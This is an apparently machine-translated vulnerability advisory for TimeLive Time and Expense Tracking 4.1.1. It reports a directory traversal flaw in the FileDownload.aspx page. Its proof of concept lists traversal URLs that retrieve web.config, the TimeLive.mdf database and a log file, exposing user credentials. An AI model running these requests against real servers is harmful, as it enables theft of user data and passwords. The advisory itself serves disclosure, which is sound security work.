TimeLive Time and Expense Tracking 4.1.1 multiple defects and repair

Title: TimeLive Time and Expense Tracking <= Multiple Vulnerabilities

Defect category: Directory Traversal/Remote Database Download/File Download/Source Code Disclosure

Author: Nathaniel Carew www.2cto.com

Level: high

: Http://www.livetecs.com/Release/TimeLiveWebSetup.exe

Platform: ASP. NET

Version: 4.1.1

Test Platform: Windows Server Standard 2003 SP 2/IIS 6

Thank you: Peregrinus & shiznat

Overview:

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When using the import/export feature for csv/project/quickbooks files under:

 

Http://www.bkjia.com/TimeLive/AccountAdmin/AccountImportExport. aspx

 

You are able to modify the file download URL you are redirected too

And traverse directories to download the hosted files including the TimeLive database:

 

Proof of Concept:

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Http://www.bkjia.com/TimeLive/Shared/FileDownload. aspx? FileName = .. \ web. config

Http://www.bkjia.com/TimeLive/Shared/FileDownload. aspx? FileName = .. \ App_Data \ TimeLive. mdf

Http://www.bkjia.com/TimeLive/Shared/FileDownload. aspx? FileName = .. \ Log \ TimeLive. log

 

Impact:

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Successful exploitation cocould allow an attacker to download the complete database of users information

Including email addresses, usernames and passwords and associated timesheet and expense data along

Any files contained within the subfolder of wwwroot.